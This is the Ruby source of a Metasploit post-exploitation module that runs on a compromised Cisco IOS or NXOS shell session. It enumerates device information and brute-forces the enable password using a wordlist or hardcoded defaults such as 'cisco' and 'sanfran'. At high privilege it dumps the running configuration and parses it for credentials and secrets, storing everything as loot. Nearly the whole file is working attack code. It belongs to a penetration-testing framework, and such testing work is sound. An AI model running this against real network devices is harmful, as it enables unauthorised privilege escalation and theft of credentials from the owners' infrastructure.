metasploit-framework/modules/post/cisco/gather/enum_cisco.rb

236 lines
6.6 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
require 'msf/core/auxiliary/cisco'
class Metasploit3 < Msf::Post
include Msf::Auxiliary::Cisco
def initialize(info={})
super( update_info( info,
'Name' => 'Cisco Gather Device General Information',
'Description' => %q{
This module collects a Cisco IOS or NXOS device information and configuration.
},
'License' => MSF_LICENSE,
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
'Platform' => [ 'cisco'],
'SessionTypes' => [ 'shell' ]
))
register_options(
[
OptString.new('ENABLE', [ false, 'Enable password for changing privilege level.']),
OptPath.new('WORDLIST', [false, 'Wordlist of possible enable passwords to try.'])
], self.class)
end
def run
# Get device prompt
prompt = session.shell_command("")
# Set terminal length to 0 so no paging is required
session.shell_write("term len 0 \n")
# Get version info
print_status("Getting version information")
show_ver_cmd = "show version"
ver_out = session.shell_command(show_ver_cmd)
ver = ver_out.gsub(/show version/,"")
# Get current privilege level
print_status("Getting privilege level")
priv_cmd = "show priv"
priv = (session.shell_command(priv_cmd)).scan(/privilege level is (\d*)/).join
# Check if this is a Nexus or IOS box
case ver
when /Nexus/
os_type = "Nexus"
mode = "EXEC"
os_loot = "nxos"
when /IOS/
os_type = "IOS"
os_loot = "ios"
end
if os_type == "IOS"
case prompt
when />/
mode = "EXEC"
when /#/
mode = "PRIV"
end
end
print_status("The device OS is #{os_type}")
print_status("Session running in mode #{mode}")
print_status("Privilege level #{priv}")
case os_type
when /IOS/
ver_loc = store_loot("cisco.ios.version",
"text/plain",
session,
ver.strip,
"version.txt",
"Cisco IOS Version")
when /Nexus/
ver_loc = store_loot("cisco.nxos.version",
"text/plain",
session,
ver.strip,
"version.txt",
"Cisco NXOS Version")
end
# Print the version of VERBOSE set to true.
vprint_status("version information stored in to loot, file:#{ver_loc}")
# Enumerate depending priv level
case priv
when "1"
enum_exec(prompt)
if get_enable(datastore['ENABLE'],datastore['WORDLIST'])
enum_priv(prompt)
end
when /7|15/
enum_exec(prompt)
enum_priv(prompt)
end
end
def get_enable(enable_pass,pass_file)
if enable_pass
found = false
en_out = session.shell_command("enable").to_s.strip
en_out = session.shell_command(enable_pass)
if en_out =~ /Password:/
print_error("Failed to change privilege level using provided Enable password.")
else
found = true
end
else
if pass_file
if not ::File.exists?(pass_file)
print_error("Wordlist File #{pass_file} does not exists!")
return
end
creds = ::File.open(pass_file, "rb")
else
creds = "Cisco\n" << "cisco\n"<< "sanfran\n" << "SanFran\n" << "password\n" << "Password\n"
end
print_status("Trying to get higher privilege level with common Enable passwords..")
# Try just the enable command
en_out = session.shell_command("enable").to_s.strip
if en_out =~ /Password:/
creds.each_line do |p|
next if p.strip.length < 1
next if p[0,1] == "#"
print_status("\tTrying password #{p.strip}")
pass_out = session.shell_command(p.strip).to_s.strip
vprint_status("Response: #{pass_out}")
session.shell_command("enable").to_s.strip if pass_out =~ /Bad secrets/
found = true if pass_out =~ /#/
break if found
end
else
found = true
end
end
if found
print_good("Obtained higher privilege level.")
return true
else
print_error("Could not obtain higher privilege level.")
return false
end
end
# Run enumeration commands for when privilege level is 7 or 15
def enum_priv(prompt)
host,port = session.session_host, session.session_port
priv_commands = [
{
"cmd" => "show run",
"fn" => "run_config",
"desc" => "Cisco Device running configuration"
},
{
"cmd" => "show cdp neigh",
"fn" => "cdp_neighbors",
"desc" => "Cisco Device CDP Neighbors"
},
{
"cmd" => "show lldp neigh",
"fn" => "cdp_neighbors",
"desc" => "Cisco Device LLDP Neighbors"
}
]
priv_commands.each do |ec|
cmd_out = session.shell_command(ec['cmd']).gsub(/#{ec['cmd']}|#{prompt}/,"")
next if cmd_out =~ /Invalid input|%/
print_status("Gathering info from #{ec['cmd']}")
# Process configuration
if ec['cmd'] =~/show run/
print_status("Parsing running configuration for credentials and secrets...")
cisco_ios_config_eater(host,port,cmd_out)
end
cmd_loc = store_loot("cisco.ios.#{ec['fn']}",
"text/plain",
session,
cmd_out.strip,
"#{ec['fn']}.txt",
ec['desc'])
vprint_status("Saving to #{cmd_loc}")
end
end
# run commands found in exec mode under privilege 1
def enum_exec(prompt)
exec_commands = [
{
"cmd" => "show ssh",
"fn" => "ssh_sessions",
"desc" => "SSH Sessions on Cisco Device"
},
{
"cmd" => "show sessions",
"fn" => "telnet_sessions",
"desc" => "Telnet Sessions on Cisco Device"
},
{
"cmd" => "show login",
"fn" => "login_settings",
"desc" => "Login settings on Cisco Device"
},
{
"cmd" => "show ip interface brief",
"fn" => "interface_info",
"desc" => "IP Enabled Interfaces on Cisco Device"
},
{
"cmd" => "show inventory",
"fn" => "hw_inventory",
"desc" => "Hardware component inventory for Cisco Device"
}]
exec_commands.each do |ec|
cmd_out = session.shell_command(ec['cmd']).gsub(/#{ec['cmd']}|#{prompt}/,"")
next if cmd_out =~ /Invalid input|%/
print_status("Gathering info from #{ec['cmd']}")
cmd_loc = store_loot("cisco.ios.#{ec['fn']}",
"text/plain",
session,
cmd_out.strip,
"#{ec['fn']}.txt",
ec['desc'])
vprint_status("Saving to #{cmd_loc}")
end
end
end